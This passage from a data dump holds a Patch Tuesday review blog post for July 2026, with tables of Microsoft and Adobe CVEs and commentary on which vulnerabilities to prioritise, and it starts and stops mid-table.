of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:02:11.810930Z"}, {"uuid": "483436e9-2864-4aec-949e-623e9d6b0c1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54992", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  